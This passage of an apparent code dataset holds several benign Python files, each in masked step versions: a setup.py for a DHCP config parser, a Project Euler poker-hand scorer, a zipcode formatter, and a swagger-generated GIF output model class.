{ "blob_id": "79141679bb2839de9d4a25b6c6c285905dddbb0d", "index": 6460, "step-1": "<mask token>\n", "step-2": "<mask token>\nsetup(name='isc-dhcpd-parser', version='0.1', description=\n 'Parser for isc-dhcp config files (dhcpd.conf)', author=\n 'Pavel Podkorytov', author_email='[email protected]', classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3'], packages=find_packages(),\n scripts=['bin/isc_dhcpd_leases.py'], install_requires=['ply'])\n", "step-3": "from setuptools import setup, find_packages\nsetup(name='isc-dhcpd-parser', version='0.1', description=\n 'Parser for isc-dhcp config files (dhcpd.conf)', author=\n 'Pavel Podkorytov', author_email='[email protected]', classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3'], packages=find_packages(),\n scripts=['bin/isc_dhcpd_leases.py'], install_requires=['ply'])\n", "step-4": "#!/usr/bin/python\n\n# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\n\nsetup(\n name=\"isc-dhcpd-parser\",\n version=\"0.1\",\n description=\"Parser for isc-dhcp config files (dhcpd.conf)\",\n author=\"Pavel Podkorytov\",\n author_email=\"[email protected]\",\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n ],\n packages=find_packages(),\n scripts=[\"bin/isc_dhcpd_leases.py\"],\n install_requires=[\"ply\"],\n)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
pokerAssignments = {'2': 20, '3': 30, '4': 40, '5': 50, '6': 60, '7': 70, '8': 80, '9': 90, 'T': 100, 'J': 110, 'Q': 120, 'K': 130, 'A': 140, 'C': 0, 'S': 1, 'H': 2, 'D': 3} #Used to assign each card to a unique three-digit integer configScoring = {(1, 1): 0, (1, 2): 1, (2, 2): 2, (1, 3): 3, (2, 3): 6, (1, 4): 7} #Tracks hand scores for (respectively) high card, pair, two pair, three-of-a-kind, full house, and four-of-a-kind scoreValues = {0: 'High Card', 1: 'Pair', 2: '2 Pair', 3: '3 of a Kind', 4: 'Straight', 5: 'Flush', 6: 'Full House', 7: '4 of a Kind', 8: 'Straight Flush'} #This data object is purely to enhance readability by demonstrating what type of hand each hand score corresponds to def initialize(): #initalizes hands_list, assigns each card in a hand to a unique three-digit integer hands_file = open("euler54_poker.txt") hands_string = hands_file.read() tempList = [] newString = (hands_string.replace('\n', ' ')).replace(' ', '') for i in range(0, len(newString), 2): tempList.append(newString[i: i + 2]) hands_list = [] for i in range(0, len(tempList), 10): #generates list item for each hand of 10 cards new_hand = [] for j in range(2): #generates list item for each player's cards player_hand = [] for k in range(5): player_hand.append(pokerAssignments[tempList[i + 5*j + k][0]] + pokerAssignments[tempList[i + 5*j + k][1]]) new_hand.append(player_hand) hands_list.append(new_hand) return hands_list hands_list = initialize() def check_flush(hand): # checks if a reverse sorted hand is a flush suit = hand[0] % 10 for i in range(1, 5): if hand[i] % 10 != suit: return False return True def check_straight(hand): #checks if a reverse sorted hand is a straight for i in range(1, 5): if hand[i] // 10 != (hand[i - 1] // 10) - 1: return False return True def check_copies(hand): #checks if a hand has any pairs, three of a kind, two pair, etc. and sorts it accordingly config = [] hand.sort() i = 0 while i < 5: count = 1 j = 1 while i + j < 5 and (hand[i + j] // 10) == (hand[i] // 10): count += 1 j += 1 config.append([count, hand[i] // 10]) i += j if config != []: #sorts for comparison config.sort() for i in range(len(config)): for j in range(5): if (hand[j] // 10) == config[i][1]: hand.insert(0, hand[j]) hand.pop(j + 1) return hand, config[-2][0], config[-1][0] def score_hand(hand): #returns a number 0-8 for the hand the player has and the hand properly sorted hand.sort(reverse = True) is_flush = check_flush(hand) is_straight = check_straight(hand) if is_flush and is_straight: return hand, 8 elif is_flush: return hand, 5 elif is_straight: return hand, 4 else: hand, config_one, config_two = check_copies(hand) return hand, configScoring[config_one, config_two] def compare(hand_one, hand_two): #returns the number of the winning player if players have same hand score (who has higher card in tiebreak?) for i in range(5): if hand_one[i] // 10 > hand_two[i] // 10: return 1 elif hand_two[i] // 10 > hand_one[i] // 10: return 2 return None def main(hands): p_one_wins = 0 for i in range(len(hands)): p_one_hand, p_one_score = score_hand(hands[i][0]) p_two_hand, p_two_score = score_hand(hands[i][1]) if p_one_score > p_two_score: p_one_wins += 1 elif p_one_score == p_two_score: if compare(p_one_hand, p_two_hand) == 1: p_one_wins += 1 return p_one_wins print(main(hands_list))
normal
{ "blob_id": "a2a3e8d52fd467178460b178c5dbf9ccd72706e7", "index": 8251, "step-1": "<mask token>\n\n\ndef initialize():\n hands_file = open('euler54_poker.txt')\n hands_string = hands_file.read()\n tempList = []\n newString = hands_string.replace('\\n', ' ').replace(' ', '')\n for i in range(0, len(newString), 2):\n tempList.append(newString[i:i + 2])\n hands_list = []\n for i in range(0, len(tempList), 10):\n new_hand = []\n for j in range(2):\n player_hand = []\n for k in range(5):\n player_hand.append(pokerAssignments[tempList[i + 5 * j + k]\n [0]] + pokerAssignments[tempList[i + 5 * j + k][1]])\n new_hand.append(player_hand)\n hands_list.append(new_hand)\n return hands_list\n\n\n<mask token>\n\n\ndef check_flush(hand):\n suit = hand[0] % 10\n for i in range(1, 5):\n if hand[i] % 10 != suit:\n return False\n return True\n\n\ndef check_straight(hand):\n for i in range(1, 5):\n if hand[i] // 10 != hand[i - 1] // 10 - 1:\n return False\n return True\n\n\ndef check_copies(hand):\n config = []\n hand.sort()\n i = 0\n while i < 5:\n count = 1\n j = 1\n while i + j < 5 and hand[i + j] // 10 == hand[i] // 10:\n count += 1\n j += 1\n config.append([count, hand[i] // 10])\n i += j\n if config != []:\n config.sort()\n for i in range(len(config)):\n for j in range(5):\n if hand[j] // 10 == config[i][1]:\n hand.insert(0, hand[j])\n hand.pop(j + 1)\n return hand, config[-2][0], config[-1][0]\n\n\ndef score_hand(hand):\n hand.sort(reverse=True)\n is_flush = check_flush(hand)\n is_straight = check_straight(hand)\n if is_flush and is_straight:\n return hand, 8\n elif is_flush:\n return hand, 5\n elif is_straight:\n return hand, 4\n else:\n hand, config_one, config_two = check_copies(hand)\n return hand, configScoring[config_one, config_two]\n\n\ndef compare(hand_one, hand_two):\n for i in range(5):\n if hand_one[i] // 10 > hand_two[i] // 10:\n return 1\n elif hand_two[i] // 10 > hand_one[i] // 10:\n return 2\n return None\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef initialize():\n hands_file = open('euler54_poker.txt')\n hands_string = hands_file.read()\n tempList = []\n newString = hands_string.replace('\\n', ' ').replace(' ', '')\n for i in range(0, len(newString), 2):\n tempList.append(newString[i:i + 2])\n hands_list = []\n for i in range(0, len(tempList), 10):\n new_hand = []\n for j in range(2):\n player_hand = []\n for k in range(5):\n player_hand.append(pokerAssignments[tempList[i + 5 * j + k]\n [0]] + pokerAssignments[tempList[i + 5 * j + k][1]])\n new_hand.append(player_hand)\n hands_list.append(new_hand)\n return hands_list\n\n\n<mask token>\n\n\ndef check_flush(hand):\n suit = hand[0] % 10\n for i in range(1, 5):\n if hand[i] % 10 != suit:\n return False\n return True\n\n\ndef check_straight(hand):\n for i in range(1, 5):\n if hand[i] // 10 != hand[i - 1] // 10 - 1:\n return False\n return True\n\n\ndef check_copies(hand):\n config = []\n hand.sort()\n i = 0\n while i < 5:\n count = 1\n j = 1\n while i + j < 5 and hand[i + j] // 10 == hand[i] // 10:\n count += 1\n j += 1\n config.append([count, hand[i] // 10])\n i += j\n if config != []:\n config.sort()\n for i in range(len(config)):\n for j in range(5):\n if hand[j] // 10 == config[i][1]:\n hand.insert(0, hand[j])\n hand.pop(j + 1)\n return hand, config[-2][0], config[-1][0]\n\n\ndef score_hand(hand):\n hand.sort(reverse=True)\n is_flush = check_flush(hand)\n is_straight = check_straight(hand)\n if is_flush and is_straight:\n return hand, 8\n elif is_flush:\n return hand, 5\n elif is_straight:\n return hand, 4\n else:\n hand, config_one, config_two = check_copies(hand)\n return hand, configScoring[config_one, config_two]\n\n\ndef compare(hand_one, hand_two):\n for i in range(5):\n if hand_one[i] // 10 > hand_two[i] // 10:\n return 1\n elif hand_two[i] // 10 > hand_one[i] // 10:\n return 2\n return None\n\n\ndef main(hands):\n p_one_wins = 0\n for i in range(len(hands)):\n p_one_hand, p_one_score = score_hand(hands[i][0])\n p_two_hand, p_two_score = score_hand(hands[i][1])\n if p_one_score > p_two_score:\n p_one_wins += 1\n elif p_one_score == p_two_score:\n if compare(p_one_hand, p_two_hand) == 1:\n p_one_wins += 1\n return p_one_wins\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef initialize():\n hands_file = open('euler54_poker.txt')\n hands_string = hands_file.read()\n tempList = []\n newString = hands_string.replace('\\n', ' ').replace(' ', '')\n for i in range(0, len(newString), 2):\n tempList.append(newString[i:i + 2])\n hands_list = []\n for i in range(0, len(tempList), 10):\n new_hand = []\n for j in range(2):\n player_hand = []\n for k in range(5):\n player_hand.append(pokerAssignments[tempList[i + 5 * j + k]\n [0]] + pokerAssignments[tempList[i + 5 * j + k][1]])\n new_hand.append(player_hand)\n hands_list.append(new_hand)\n return hands_list\n\n\n<mask token>\n\n\ndef check_flush(hand):\n suit = hand[0] % 10\n for i in range(1, 5):\n if hand[i] % 10 != suit:\n return False\n return True\n\n\ndef check_straight(hand):\n for i in range(1, 5):\n if hand[i] // 10 != hand[i - 1] // 10 - 1:\n return False\n return True\n\n\ndef check_copies(hand):\n config = []\n hand.sort()\n i = 0\n while i < 5:\n count = 1\n j = 1\n while i + j < 5 and hand[i + j] // 10 == hand[i] // 10:\n count += 1\n j += 1\n config.append([count, hand[i] // 10])\n i += j\n if config != []:\n config.sort()\n for i in range(len(config)):\n for j in range(5):\n if hand[j] // 10 == config[i][1]:\n hand.insert(0, hand[j])\n hand.pop(j + 1)\n return hand, config[-2][0], config[-1][0]\n\n\ndef score_hand(hand):\n hand.sort(reverse=True)\n is_flush = check_flush(hand)\n is_straight = check_straight(hand)\n if is_flush and is_straight:\n return hand, 8\n elif is_flush:\n return hand, 5\n elif is_straight:\n return hand, 4\n else:\n hand, config_one, config_two = check_copies(hand)\n return hand, configScoring[config_one, config_two]\n\n\ndef compare(hand_one, hand_two):\n for i in range(5):\n if hand_one[i] // 10 > hand_two[i] // 10:\n return 1\n elif hand_two[i] // 10 > hand_one[i] // 10:\n return 2\n return None\n\n\ndef main(hands):\n p_one_wins = 0\n for i in range(len(hands)):\n p_one_hand, p_one_score = score_hand(hands[i][0])\n p_two_hand, p_two_score = score_hand(hands[i][1])\n if p_one_score > p_two_score:\n p_one_wins += 1\n elif p_one_score == p_two_score:\n if compare(p_one_hand, p_two_hand) == 1:\n p_one_wins += 1\n return p_one_wins\n\n\nprint(main(hands_list))\n", "step-4": "pokerAssignments = {'2': 20, '3': 30, '4': 40, '5': 50, '6': 60, '7': 70,\n '8': 80, '9': 90, 'T': 100, 'J': 110, 'Q': 120, 'K': 130, 'A': 140, 'C':\n 0, 'S': 1, 'H': 2, 'D': 3}\nconfigScoring = {(1, 1): 0, (1, 2): 1, (2, 2): 2, (1, 3): 3, (2, 3): 6, (1,\n 4): 7}\nscoreValues = {(0): 'High Card', (1): 'Pair', (2): '2 Pair', (3):\n '3 of a Kind', (4): 'Straight', (5): 'Flush', (6): 'Full House', (7):\n '4 of a Kind', (8): 'Straight Flush'}\n\n\ndef initialize():\n hands_file = open('euler54_poker.txt')\n hands_string = hands_file.read()\n tempList = []\n newString = hands_string.replace('\\n', ' ').replace(' ', '')\n for i in range(0, len(newString), 2):\n tempList.append(newString[i:i + 2])\n hands_list = []\n for i in range(0, len(tempList), 10):\n new_hand = []\n for j in range(2):\n player_hand = []\n for k in range(5):\n player_hand.append(pokerAssignments[tempList[i + 5 * j + k]\n [0]] + pokerAssignments[tempList[i + 5 * j + k][1]])\n new_hand.append(player_hand)\n hands_list.append(new_hand)\n return hands_list\n\n\nhands_list = initialize()\n\n\ndef check_flush(hand):\n suit = hand[0] % 10\n for i in range(1, 5):\n if hand[i] % 10 != suit:\n return False\n return True\n\n\ndef check_straight(hand):\n for i in range(1, 5):\n if hand[i] // 10 != hand[i - 1] // 10 - 1:\n return False\n return True\n\n\ndef check_copies(hand):\n config = []\n hand.sort()\n i = 0\n while i < 5:\n count = 1\n j = 1\n while i + j < 5 and hand[i + j] // 10 == hand[i] // 10:\n count += 1\n j += 1\n config.append([count, hand[i] // 10])\n i += j\n if config != []:\n config.sort()\n for i in range(len(config)):\n for j in range(5):\n if hand[j] // 10 == config[i][1]:\n hand.insert(0, hand[j])\n hand.pop(j + 1)\n return hand, config[-2][0], config[-1][0]\n\n\ndef score_hand(hand):\n hand.sort(reverse=True)\n is_flush = check_flush(hand)\n is_straight = check_straight(hand)\n if is_flush and is_straight:\n return hand, 8\n elif is_flush:\n return hand, 5\n elif is_straight:\n return hand, 4\n else:\n hand, config_one, config_two = check_copies(hand)\n return hand, configScoring[config_one, config_two]\n\n\ndef compare(hand_one, hand_two):\n for i in range(5):\n if hand_one[i] // 10 > hand_two[i] // 10:\n return 1\n elif hand_two[i] // 10 > hand_one[i] // 10:\n return 2\n return None\n\n\ndef main(hands):\n p_one_wins = 0\n for i in range(len(hands)):\n p_one_hand, p_one_score = score_hand(hands[i][0])\n p_two_hand, p_two_score = score_hand(hands[i][1])\n if p_one_score > p_two_score:\n p_one_wins += 1\n elif p_one_score == p_two_score:\n if compare(p_one_hand, p_two_hand) == 1:\n p_one_wins += 1\n return p_one_wins\n\n\nprint(main(hands_list))\n", "step-5": "pokerAssignments = {'2': 20, '3': 30, '4': 40, '5': 50, '6': 60, '7': 70, '8': 80, '9': 90, 'T': 100, 'J': 110, 'Q': 120, 'K': 130, 'A': 140, 'C': 0, 'S': 1, 'H': 2, 'D': 3} #Used to assign each card to a unique three-digit integer\n\nconfigScoring = {(1, 1): 0, (1, 2): 1, (2, 2): 2, (1, 3): 3, (2, 3): 6, (1, 4): 7} #Tracks hand scores for (respectively) high card, pair, two pair, three-of-a-kind, full house, and four-of-a-kind\n\nscoreValues = {0: 'High Card', 1: 'Pair', 2: '2 Pair', 3: '3 of a Kind', 4: 'Straight', 5: 'Flush', 6: 'Full House', 7: '4 of a Kind', 8: 'Straight Flush'} #This data object is purely to enhance readability by demonstrating what type of hand each hand score corresponds to\n\ndef initialize(): #initalizes hands_list, assigns each card in a hand to a unique three-digit integer\n hands_file = open(\"euler54_poker.txt\")\n hands_string = hands_file.read()\n tempList = []\n newString = (hands_string.replace('\\n', ' ')).replace(' ', '')\n\n for i in range(0, len(newString), 2):\n tempList.append(newString[i: i + 2])\n\n hands_list = []\n\n for i in range(0, len(tempList), 10): #generates list item for each hand of 10 cards\n new_hand = []\n\n for j in range(2): #generates list item for each player's cards\n player_hand = []\n\n for k in range(5):\n player_hand.append(pokerAssignments[tempList[i + 5*j + k][0]] + pokerAssignments[tempList[i + 5*j + k][1]])\n\n new_hand.append(player_hand)\n\n hands_list.append(new_hand)\n\n return hands_list\n\nhands_list = initialize()\n\ndef check_flush(hand): # checks if a reverse sorted hand is a flush\n suit = hand[0] % 10\n\n for i in range(1, 5):\n if hand[i] % 10 != suit:\n return False\n\n return True\n\ndef check_straight(hand): #checks if a reverse sorted hand is a straight\n\n for i in range(1, 5):\n\n if hand[i] // 10 != (hand[i - 1] // 10) - 1:\n return False\n\n return True\n\ndef check_copies(hand): #checks if a hand has any pairs, three of a kind, two pair, etc. and sorts it accordingly\n config = []\n hand.sort()\n\n i = 0\n while i < 5:\n count = 1\n j = 1\n\n while i + j < 5 and (hand[i + j] // 10) == (hand[i] // 10):\n count += 1\n j += 1\n\n config.append([count, hand[i] // 10])\n i += j\n\n if config != []: #sorts for comparison\n config.sort()\n\n for i in range(len(config)):\n\n for j in range(5):\n\n if (hand[j] // 10) == config[i][1]:\n hand.insert(0, hand[j])\n hand.pop(j + 1)\n\n return hand, config[-2][0], config[-1][0]\n\ndef score_hand(hand): #returns a number 0-8 for the hand the player has and the hand properly sorted\n hand.sort(reverse = True)\n is_flush = check_flush(hand)\n is_straight = check_straight(hand)\n\n if is_flush and is_straight:\n return hand, 8\n\n elif is_flush:\n return hand, 5\n\n elif is_straight:\n return hand, 4\n\n else:\n hand, config_one, config_two = check_copies(hand)\n return hand, configScoring[config_one, config_two]\n\ndef compare(hand_one, hand_two): #returns the number of the winning player if players have same hand score (who has higher card in tiebreak?)\n\n for i in range(5):\n if hand_one[i] // 10 > hand_two[i] // 10:\n return 1\n\n elif hand_two[i] // 10 > hand_one[i] // 10:\n return 2\n\n return None\n\ndef main(hands):\n p_one_wins = 0\n\n for i in range(len(hands)):\n p_one_hand, p_one_score = score_hand(hands[i][0])\n p_two_hand, p_two_score = score_hand(hands[i][1])\n\n if p_one_score > p_two_score:\n p_one_wins += 1\n\n elif p_one_score == p_two_score:\n if compare(p_one_hand, p_two_hand) == 1:\n p_one_wins += 1\n\n return p_one_wins\n\nprint(main(hands_list))\n", "step-ids": [ 6, 7, 8, 9, 10 ] }
[ 6, 7, 8, 9, 10 ]
def simple_formatter(zipcode: str, address: str) ->str: return f'{zipcode}は「{address}」です'
normal
{ "blob_id": "b1dce573e6da81c688b338277af214838bbab9dd", "index": 8649, "step-1": "<mask token>\n", "step-2": "def simple_formatter(zipcode: str, address: str) ->str:\n return f'{zipcode}は「{address}」です'\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
# coding: utf-8 """ Idomoo API OpenAPI spec version: 2.0 Contact: [email protected] """ import pprint import six class GIFOutput(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'gif_fps': 'float', 'color_depth': 'float', 'gif_loop': 'int', 'height': 'float', 'start': 'float', 'duration': 'float', 'suffix': 'str', 'overlay': 'str', 'overlay_alignment': 'list[str]', 'overlay_scale': 'str', 'label': 'str' } attribute_map = { 'gif_fps': 'gif_fps', 'color_depth': 'color_depth', 'gif_loop': 'gif_loop', 'height': 'height', 'start': 'start', 'duration': 'duration', 'suffix': 'suffix', 'overlay': 'overlay', 'overlay_alignment': 'overlay_alignment', 'overlay_scale': 'overlay_scale', 'label': 'label' } def __init__(self, gif_fps=None, color_depth=None, gif_loop=None, height=None, start=None, duration=None, suffix=None, overlay=None, overlay_alignment=None, overlay_scale='fit', label=None): """GIFOutput - a model defined in Swagger""" self._gif_fps = None self._color_depth = None self._gif_loop = None self._height = None self._start = None self._duration = None self._suffix = None self._overlay = None self._overlay_alignment = None self._overlay_scale = None self._label = None self.discriminator = None if gif_fps is not None: self.gif_fps = gif_fps if color_depth is not None: self.color_depth = color_depth if gif_loop is not None: self.gif_loop = gif_loop self.height = height self.start = start if duration is not None: self.duration = duration if suffix is not None: self.suffix = suffix if overlay is not None: self.overlay = overlay if overlay_alignment is not None: self.overlay_alignment = overlay_alignment if overlay_scale is not None: self.overlay_scale = overlay_scale if label is not None: self.label = label @property def gif_fps(self): """Gets the gif_fps of this GIFOutput. The frame rate of the GIF. Default is the Video frame rate :return: The gif_fps of this GIFOutput. :rtype: float """ return self._gif_fps @gif_fps.setter def gif_fps(self, gif_fps): """Sets the gif_fps of this GIFOutput. The frame rate of the GIF. Default is the Video frame rate :param gif_fps: The gif_fps of this GIFOutput. :type: float """ if gif_fps is not None and gif_fps > 30: raise ValueError("Invalid value for `gif_fps`, must be a value less than or equal to `30`") self._gif_fps = gif_fps @property def color_depth(self): """Gets the color_depth of this GIFOutput. Amount of colors in palette :return: The color_depth of this GIFOutput. :rtype: float """ return self._color_depth @color_depth.setter def color_depth(self, color_depth): """Sets the color_depth of this GIFOutput. Amount of colors in palette :param color_depth: The color_depth of this GIFOutput. :type: float """ self._color_depth = color_depth @property def gif_loop(self): """Gets the gif_loop of this GIFOutput. If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops. :return: The gif_loop of this GIFOutput. :rtype: int """ return self._gif_loop @gif_loop.setter def gif_loop(self, gif_loop): """Sets the gif_loop of this GIFOutput. If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops. :param gif_loop: The gif_loop of this GIFOutput. :type: int """ if gif_loop is not None and gif_loop < -1: raise ValueError("Invalid value for `gif_loop`, must be a value greater than or equal to `-1`") self._gif_loop = gif_loop @property def height(self): """Gets the height of this GIFOutput. Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically calculated to keep the aspect ratio. :return: The height of this GIFOutput. :rtype: float """ return self._height @height.setter def height(self, height): """Sets the height of this GIFOutput. Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically calculated to keep the aspect ratio. :param height: The height of this GIFOutput. :type: float """ if height is None: raise ValueError("Invalid value for `height`, must not be `None`") self._height = height @property def start(self): """Gets the start of this GIFOutput. What second of the storyboard timeline to start the GIF. :return: The start of this GIFOutput. :rtype: float """ return self._start @start.setter def start(self, start): """Sets the start of this GIFOutput. What second of the storyboard timeline to start the GIF. :param start: The start of this GIFOutput. :type: float """ if start is None: raise ValueError("Invalid value for `start`, must not be `None`") self._start = start @property def duration(self): """Gets the duration of this GIFOutput. Seconds for the duration of the GIF. Can't be longer than the video. :return: The duration of this GIFOutput. :rtype: float """ return self._duration @duration.setter def duration(self, duration): """Sets the duration of this GIFOutput. Seconds for the duration of the GIF. Can't be longer than the video. :param duration: The duration of this GIFOutput. :type: float """ self._duration = duration @property def suffix(self): """Gets the suffix of this GIFOutput. Unique ending of the file name so several outputs can be created then identified. Required if there is more then 1 video output. :return: The suffix of this GIFOutput. :rtype: str """ return self._suffix @suffix.setter def suffix(self, suffix): """Sets the suffix of this GIFOutput. Unique ending of the file name so several outputs can be created then identified. Required if there is more then 1 video output. :param suffix: The suffix of this GIFOutput. :type: str """ self._suffix = suffix @property def overlay(self): """Gets the overlay of this GIFOutput. Path to overlay image, such as: play button or watermark. :return: The overlay of this GIFOutput. :rtype: str """ return self._overlay @overlay.setter def overlay(self, overlay): """Sets the overlay of this GIFOutput. Path to overlay image, such as: play button or watermark. :param overlay: The overlay of this GIFOutput. :type: str """ self._overlay = overlay @property def overlay_alignment(self): """Gets the overlay_alignment of this GIFOutput. Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is X. The second is Y. :return: The overlay_alignment of this GIFOutput. :rtype: list[str] """ return self._overlay_alignment @overlay_alignment.setter def overlay_alignment(self, overlay_alignment): """Sets the overlay_alignment of this GIFOutput. Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is X. The second is Y. :param overlay_alignment: The overlay_alignment of this GIFOutput. :type: list[str] """ allowed_values = ["left", "center", "right", "top", "middle", "bottom"] if not set(overlay_alignment).issubset(set(allowed_values)): raise ValueError( "Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]" .format(", ".join(map(str, set(overlay_alignment) - set(allowed_values))), ", ".join(map(str, allowed_values))) ) self._overlay_alignment = overlay_alignment @property def overlay_scale(self): """Gets the overlay_scale of this GIFOutput. Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the image according to the alignment settings. * Fill: scale the image up or down so it completely fills the video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't resize the overlay image. :return: The overlay_scale of this GIFOutput. :rtype: str """ return self._overlay_scale @overlay_scale.setter def overlay_scale(self, overlay_scale): """Sets the overlay_scale of this GIFOutput. Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the image according to the alignment settings. * Fill: scale the image up or down so it completely fills the video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't resize the overlay image. :param overlay_scale: The overlay_scale of this GIFOutput. :type: str """ allowed_values = ["fit", "fill", "none"] if overlay_scale not in allowed_values: raise ValueError( "Invalid value for `overlay_scale` ({0}), must be one of {1}" .format(overlay_scale, allowed_values) ) self._overlay_scale = overlay_scale @property def label(self): """Gets the label of this GIFOutput. This label is another way to identify this specific output. The label is returned in the response, but does not appear in the file name. :return: The label of this GIFOutput. :rtype: str """ return self._label @label.setter def label(self, label): """Sets the label of this GIFOutput. This label is another way to identify this specific output. The label is returned in the response, but does not appear in the file name. :param label: The label of this GIFOutput. :type: str """ self._label = label def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, GIFOutput): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
normal
{ "blob_id": "2362c9a12f97f32f6136aaf16a55cf4acbaf9294", "index": 4753, "step-1": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n <mask token>\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n 